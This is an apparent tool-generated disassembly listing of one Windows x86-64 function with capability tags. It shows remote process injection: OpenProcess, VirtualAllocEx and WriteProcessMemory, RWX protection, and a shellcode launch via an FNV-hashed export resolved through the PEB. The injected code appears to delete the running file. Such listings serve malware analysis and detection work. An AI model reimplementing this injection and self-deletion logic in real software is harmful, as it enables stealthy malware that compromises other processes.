Function at 0x1401f1d40
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push r15
sub rsp, 0x8d0
xor r15d, r15d
mov word [rsp + 0x6b0], r15w
mov word [rsp + 0x290], r15w
mov word [rsp + 0x4a0], r15w
call fcn.140141104
lea r9, [rsp + 0x4a0]
mov rcx, rax
lea r8, [rsp + 0x290]
lea rdx, [rsp + 0x6b0]
call fcn.1401a1da0
call fcn.140141104
lea rdx, [rsp + 0x290]
mov rcx, rax
call fcn.1401a1120
test eax, eax
je 0x1401f20c0
mov r8d, eax
mov qword [rsp + 0x8f8], rsi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.kernel32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x1401f20b8
xor edx, edx
lea rcx, [rsp + 0x40]
mov r8d, 0x138
call fcn.1403ccc50
xor edx, edx
lea rcx, [rsp + 0x180]
mov r8d, 0x104
call fcn.1403ccc50
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleA]
mov r8d, 0x104
lea rdx, [rsp + 0x180]
mov rcx, rax
call qword [sym.imp.kernel32.dll_GetModuleFileNameA]
lea r8, [rsp + 0x180]
mov edx, 0x104
lea rcx, [rsp + 0x48]
call fcn.1403e1f90
call qword [sym.imp.kernel32.dll_GetCurrentProcessId]
xor edx, edx
mov ecx, 0x400
mov r8d, eax
call qword [sym.imp.kernel32.dll_OpenProcess]
test rax, rax
je 0x1401f20b8
mov qword [rsp + 0x40], rax
xor edx, edx
mov rax, qword [sym.imp.kernel32.dll_DeleteFileA]
mov r9d, 0x3000
mov qword [rsp + 0x150], rax
mov r8d, 0x138
mov rax, qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov rcx, rsi
mov qword [rsp + 0x158], rax
mov rax, qword [sym.imp.kernel32.dll_CloseHandle]
mov qword [rsp + 0x168], rax
mov rax, qword [sym.imp.kernel32.dll_ExitProcess]
mov qword [rsp + 0x160], rax
mov rax, qword [sym.imp.kernel32.dll_Sleep]
mov qword [rsp + 0x8f0], rbp
mov qword [rsp + 0x170], rax
mov qword [rsp + 0x8c0], r14
mov dword [rsp + 0x20], 4
call qword [sym.imp.kernel32.dll_VirtualAllocEx]
mov r9d, 0x138
mov qword [rsp + 0x20], r15
mov rdx, rax
lea r8, [rsp + 0x40]
mov rcx, rsi
mov r14, rax
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, rsi
call qword [sym.imp.kernel32.dll_VirtualAllocEx]
mov rbp, rax
mov rcx, rsi
test rax, rax
jne 0x1401f1f1c
call qword [sym.imp.kernel32.dll_CloseHandle]
jmp 0x1401f20a8
lea rax, [rsp + 0x8e0]
mov dword [rsp + 0x8e0], r15d
mov r9d, 0x40
mov qword [rsp + 0x20], rax
mov r8d, 0x1000
mov rdx, rbp
call qword [sym.imp.kernel32.dll_VirtualProtectEx]
mov r9d, 0x1000
mov qword [rsp + 0x20], r15
lea r8, [0x1401f1ce0]
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
mov rdx, rbp
mov rcx, rsi
test eax, eax
jne 0x1401f1f8b
mov r9d, 0x8000
xor r8d, r8d
call qword [sym.imp.kernel32.dll_VirtualFreeEx]
mov rcx, rsi
call qword [0x140549178]
jmp 0x1401f20a8
lea rax, [rsp + 0x8e0]
mov qword [rsp + 0x8e8], rbx
mov r9d, 0x20
mov qword [rsp + 0x20], rax
mov r8d, 0x1000
mov qword [rsp + 0x8c8], rdi
mov dword [rsp + 0x8e0], r15d
call qword [sym.imp.kernel32.dll_VirtualProtectEx]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1401f2057
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1401f2057
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xcf8cd10
lea rcx, [rdi + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x1401f2052
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x1401f2030
cmp r8d, 0x316055e6
je 0x1401f205c
test r9d, r9d
jne 0x1401f2010
mov rax, qword [rax]
jmp 0x1401f1fe0
mov ecx, dword [rbx + 0x24]
xor r8d, r8d
add rcx, r10
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r14
movzx edx, word [rcx + r9*2]
mov r9, rbp
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor edx, edx
add rax, r10
mov rcx, rsi
call rax
mov rcx, rsi
call qword [0x140549178]
mov rdi, qword [rsp + 0x8c8]
mov rbx, qword [rsp + 0x8e8]
mov rbp, qword [rsp + 0x8f0]
mov r14, qword [rsp + 0x8c0]
mov rsi, qword [rsp + 0x8f8]
add rsp, 0x8d0
pop r15
ret